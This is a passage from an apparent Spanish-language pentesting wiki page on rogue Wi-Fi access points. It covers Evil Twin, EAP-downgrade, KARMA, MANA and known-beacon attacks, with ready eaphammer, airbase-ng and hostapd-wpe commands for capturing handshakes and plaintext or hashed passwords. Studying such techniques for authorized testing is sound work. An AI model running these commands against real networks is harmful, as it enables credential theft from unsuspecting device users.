legítimo a menudo resulta en que el dispositivo se conecte a otro punto de acceso legítimo, a menos que el atacante pueda desautenticar todos los puntos de acceso cercanos o colocar estratégicamente el punto de acceso malicioso. Puedes crear un Open Evil Twin muy básico (sin capacidades para enrutar tráfico a Internet) haciendo: ```bash airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon ``` También podrías crear un Evil Twin usando **eaphammer** (ten en cuenta que para crear evil twins con eaphammer la interfaz **NO DEBE** estar en modo **monitor**): ```bash ./eaphammer -i wlan0 --essid exampleCorp --captive-portal ``` O usando Airgeddon: `Options: 5,6,7,8,9 (dentro del menú de ataque Evil Twin).` ![](<../../.gitbook/assets/image (1088).png>) Por favor, ten en cuenta que por defecto, si un ESSID en el PNL está guardado como protegido por WPA, el dispositivo no se conectará automáticamente a un Evil Twin abierto. Puedes intentar hacer un DoS al AP real y esperar que el usuario se conecte manualmente a tu Evil Twin abierto, o podrías hacer un DoS al AP real y usar un WPA Evil Twin para capturar el handshake (usando este método no podrás permitir que la víctima se conecte a ti ya que no conoces el PSK, pero puedes capturar el handshake e intentar crackearlo). _Algunos sistemas operativos y antivirus advertirán al usuario que conectarse a una red abierta es peligroso..._ ### WPA/WPA2 Evil Twin Puedes crear un **Evil Twin usando WPA/2** y si los dispositivos están configurados para conectarse a ese SSID con WPA/2, intentarán conectarse. De todos modos, **para completar el 4-way-handshake** también necesitas **conocer** la **contraseña** que el cliente va a usar. Si **no la conoces**, la **conexión no se completará**. ```bash ./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword" ``` ### Enterprise Evil Twin Para entender estos ataques, recomendaría leer antes la breve [explicación de WPA Enterprise](./#wpa-enterprise-mgt). **Usando hostapd-wpe** `hostapd-wpe` necesita un **archivo de configuración** para funcionar. Para **automatizar** la generación de estas configuraciones, podrías usar [https://github.com/WJDigby/apd\_launchpad](https://github.com/WJDigby/apd\_launchpad) (descarga el archivo de python dentro de _/etc/hostapd-wpe/_). ```bash ./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com hostapd-wpe ./victim/victim.conf -s ``` En el archivo de configuración, puedes seleccionar muchas cosas diferentes como ssid, canal, archivos de usuario, cret/key, parámetros dh, versión wpa y auth... [**Usando hostapd-wpe con EAP-TLS para permitir que cualquier certificado inicie sesión.**](evil-twin-eap-tls.md) **Usando EAPHammer** ```bash # Generate Certificates ./eaphammer --cert-wizard # Launch Attack ./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds ``` Por defecto, EAPHammer propone estos métodos de autenticación (nota GTC como el primero en intentar obtener contraseñas en texto plano y luego el uso de métodos de autenticación más robustos): ``` GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5 ``` Esta es la metodología predeterminada para evitar tiempos de conexión largos. Sin embargo, también puedes especificar al servidor los métodos de autenticación de más débil a más fuerte: ``` --negotiate weakest ``` O también podrías usar: * `--negotiate gtc-downgrade` para usar una implementación de GTC downgrade altamente eficiente (contraseñas en texto plano) * `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` para especificar manualmente los métodos ofrecidos (ofrecer los mismos métodos de autenticación en el mismo orden que la organización hará que el ataque sea mucho más difícil de detectar). * [Encuentra más información en la wiki](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/) **Usando Airgeddon** `Airgeddon` puede usar certificados generados previamente para ofrecer autenticación EAP a redes WPA/WPA2-Enterprise. La red falsa degradará el protocolo de conexión a EAP-MD5 para poder **capturar al usuario y el MD5 de la contraseña**. Luego, el atacante puede intentar descifrar la contraseña.\ `Airgeddon` te ofrece la posibilidad de un **ataque continuo de Evil Twin (ruidoso)** o **solo crear el ataque Evil hasta que alguien se conecte (suave).** ![](<../../.gitbook/assets/image (936).png>) ### Depurando túneles TLS PEAP y EAP-TTLS en ataques de Evil Twins _Este método fue probado en una conexión PEAP, pero como estoy descifrando un túnel TLS arbitrario, esto también debería funcionar con EAP-TTLS_ Dentro de la **configuración** de _hostapd-wpe_ **comenta** la línea que contiene _**dh\_file**_ (de `dh_file=/etc/hostapd-wpe/certs/dh` a `#dh_file=/etc/hostapd-wpe/certs/dh`)\ Esto hará que `hostapd-wpe` **intercambie claves usando RSA** en lugar de DH, por lo que podrás **descifrar** el tráfico más tarde **conociendo la clave privada del servidor**. Ahora inicia el **Evil Twin** usando **`hostapd-wpe`** con esa configuración modificada como de costumbre. Además, inicia **`wireshark`** en la **interfaz** que está realizando el ataque de Evil Twin. Ahora o más tarde (cuando ya hayas capturado algunas intenciones de autenticación) puedes agregar la clave RSA privada a wireshark en: `Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...` Agrega una nueva entrada y completa el formulario con estos valores: **Dirección IP = cualquier** -- **Puerto = 0** -- **Protocolo = data** -- **Archivo de clave** (**selecciona tu archivo de clave**, para evitar problemas selecciona un archivo de clave **sin estar protegido por contraseña**). ![](<../../.gitbook/assets/image (687).png>) Y mira la nueva **pestaña "TLS descifrado"**: ![](<../../.gitbook/assets/image (231).png>) ## KARMA, MANA, Loud MANA y ataque de balizas conocidas ### Listas negras/blancas de ESSID y MAC Diferentes tipos de Listas de Filtros de Control de Acceso a Medios (MFACLs) y sus correspondientes modos y efectos en el comportamiento de un Punto de Acceso (AP) malicioso: 1. **Lista blanca basada en MAC**: * El AP malicioso solo responderá a solicitudes de sondeo de dispositivos especificados en la lista blanca, permaneciendo invisible para todos los demás no listados. 2. **Lista negra basada en MAC**: * El AP malicioso ignorará las solicitudes de sondeo de dispositivos en la lista negra, haciendo que el AP malicioso sea invisible para esos dispositivos específicos. 3. **Lista blanca basada en SSID**: * El AP malicioso responderá a solicitudes de sondeo solo para ESSIDs específicos listados, haciéndolo invisible para dispositivos cuya Lista de Redes Preferidas (PNLs) no contenga esos ESSIDs. 4. **Lista negra basada en SSID**: * El AP malicioso no responderá a solicitudes de sondeo para los ESSIDs específicos en la lista negra, haciéndolo invisible para dispositivos que buscan esas redes particulares. ```bash # example EAPHammer MFACL file, wildcards can be used 09:6a:06:c8:36:af 37:ab:46:7a:9a:7c c7:36:8c:b2:*:* [--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting] [--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting] ``` ```bash # example ESSID-based MFACL file name1 name2 name3 [--ssid-whitelist /path/to/mac/whitelist/file.txt] [--ssid-blacklist /path/to/mac/blacklist/file.txt] ``` ### KARMA Este método permite a un **atacante crear un punto de acceso (AP) malicioso que responde a todas las solicitudes de sondeo** de dispositivos que buscan conectarse a redes. Esta técnica **engaña a los dispositivos para que se conecten al AP del atacante** al imitar las redes que los dispositivos están buscando. Una vez que un dispositivo envía una solicitud de conexión a este AP malicioso, completa la conexión, llevando al dispositivo a conectarse erróneamente a la red del atacante. ### MANA Luego, **los dispositivos comenzaron a ignorar las respuestas de red no solicitadas**, reduciendo la efectividad del ataque karma original. Sin embargo, se introdujo un nuevo método, conocido como el **ataque MANA**, por Ian de Villiers y Dominic White. Este método implica que el AP malicioso **captura las Listas de Redes Preferidas (PNL) de los dispositivos al responder a sus solicitudes de sondeo de difusión** con nombres de red (SSIDs) previamente solicitados por los dispositivos. Este ataque sofisticado elude las protecciones contra el ataque karma original al explotar la forma en que los dispositivos recuerdan y priorizan las redes conocidas. El ataque MANA opera monitoreando tanto las solicitudes de sondeo dirigidas como las de difusión de los dispositivos. Para las solicitudes dirigidas, registra la dirección MAC del dispositivo y el nombre de la red solicitada, añadiendo esta información a una lista. Cuando se recibe una solicitud de difusión, el AP responde con información que coincide con cualquiera de las redes en la lista del dispositivo, incitando al dispositivo a conectarse al AP malicioso. ```bash ./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds] ``` ### Loud MANA Un **ataque Loud MANA** es una estrategia avanzada para cuando los dispositivos no utilizan sondeos dirigidos o cuando sus Listas de Redes Preferidas (PNL) son desconocidas para el atacante. Funciona sobre el principio de que **los dispositivos en la misma área probablemente compartan algunos nombres de red en sus PNL**. En lugar de responder de manera selectiva, este ataque transmite respuestas de sondeo para cada nombre de red (ESSID) encontrado en las PNL combinadas de todos los dispositivos observados. Este enfoque amplio aumenta la posibilidad de que un dispositivo reconozca una red familiar e intente conectarse al Punto de Acceso (AP) malicioso. ```bash ./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds] ``` ### Known Beacon attack Cuando el **Loud MANA attack** puede no ser suficiente, el **Known Beacon attack** presenta otro enfoque. Este método **fuerza el proceso de conexión simulando un AP que responde a cualquier nombre de red, recorriendo una lista de ESSIDs potenciales** derivados de una lista de palabras. Esto simula la presencia de numerosas redes, con la esperanza de coincidir un ESSID dentro de la PNL de la víctima, lo que provoca un intento de conexión al AP fabricado. El ataque puede ser amplificado combinándolo con la opción `--loud` para un intento más agresivo de atrapar dispositivos. Eaphammer implementó este ataque como un MANA attack donde todos los ESSIDs dentro de una lista son cargados (también podrías combinar esto con `--loud` para crear un ataque Loud MANA + Known beacons): ```bash ./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds] ``` **Ataque de Beacon Burst Conocido** El **ataque de Beacon Burst Conocido** implica **la transmisión rápida de tramas de beacon para cada ESSID listado en un archivo**. Esto crea un entorno denso de redes falsas, aumentando considerablemente la probabilidad de que los dispositivos se conecten al AP malicioso, especialmente cuando se combina con un ataque MANA. Esta técnica aprovecha la velocidad y el volumen para abrumar los mecanismos de selección de red de los dispositivos. ```bash # transmit a burst of 5 forged beacon packets for each entry in list ./forge-beacons -i wlan1 \ --bssid de:ad:be:ef:13:37 \ --known-essids-file known-s.txt \ --dst-addr 11:22:33:11:22:33 \ --burst-count 5 ``` ## Wi-Fi Direct **Wi-Fi Direct** es un protocolo que permite a los dispositivos conectarse directamente entre sí utilizando Wi-Fi sin la necesidad de un punto de acceso inalámbrico tradicional. Esta capacidad está integrada en varios dispositivos de Internet de las Cosas (IoT), como impresoras y televisores, facilitando la comunicación directa entre dispositivos. Una característica notable de Wi-Fi Direct es que un dispositivo asume el papel de un punto de acceso, conocido como el propietario del grupo, para gestionar la conexión. La seguridad para las conexiones Wi-Fi Direct se establece a través de **Wi-Fi Protected Setup (WPS)**, que admite varios métodos para emparejamiento seguro, incluyendo: * **Push-Button Configuration (PBC)** * **PIN entry** * **Near-Field Communication (NFC)** Estos métodos, particularmente la entrada de PIN, son susceptibles a las mismas vulnerabilidades que WPS en redes Wi-Fi tradicionales, convirtiéndolos en objetivos para vectores de ataque similares. ### EvilDirect Hijacking **EvilDirect Hijacking** es un ataque específico de Wi-Fi Direct. Refleja el concepto de un ataque Evil Twin pero se dirige a las conexiones Wi-Fi Direct. En este escenario, un atacante se hace pasar por un propietario de grupo legítimo con el objetivo de engañar a los dispositivos para que se conecten a una entidad maliciosa. Este método se puede ejecutar utilizando herramientas como `airbase-ng` especificando el canal, ESSID y dirección MAC del dispositivo suplantado: ## References * [https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee](https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee) * [https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9](https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9) * [https://posts.specterops.io/modern-wireless-tradecraft-pt-iii-management-frame-access-control-lists-mfacls-22ca7f314a38](https://posts.specterops.io/modern-wireless-tradecraft-pt-iii-management-frame-access-control-lists-mfacls-22ca7f314a38) * [https://posts.specterops.io/modern-wireless-tradecraft-pt-iv-tradecraft-and-detection-d1a95da4bb4d](https://posts.specterops.io/modern-wireless-tradecraft-pt-iv-tradecraft-and-detection-d1a95da4bb4d) * [https://github.com/gdssecurity/Whitepapers/blob/master/GDS%20Labs%20-%20Identifying%20Rogue%20Access%20Point%20Attacks%20Using%20Probe%20Response%20Patterns%20and%20Signal%20Strength.pdf](https://github.com/gdssecurity/Whitepapers/blob/master/GDS%20Labs%20-%20Identifying%20Rogue%20Access%20Point%20Attacks%20Using%20Probe%20Response%20Patterns%20and%20Signal%20Strength.pdf) * [http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/) * [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/) * [https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d](https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d) * [https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\)) * [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/) TODO: Echa un vistazo a [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (login con facebook e imitacionde WPA en captive portals)
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters! **Hacking Insights**\ Engage with content that delves into the thrill and challenges of hacking **Real-Time Hack News**\ Keep up-to-date with fast-paced hacking world through real-time news and insights **Latest Announcements**\ Stay informed with the newest bug bounties launching and crucial platform updates **Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today! {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}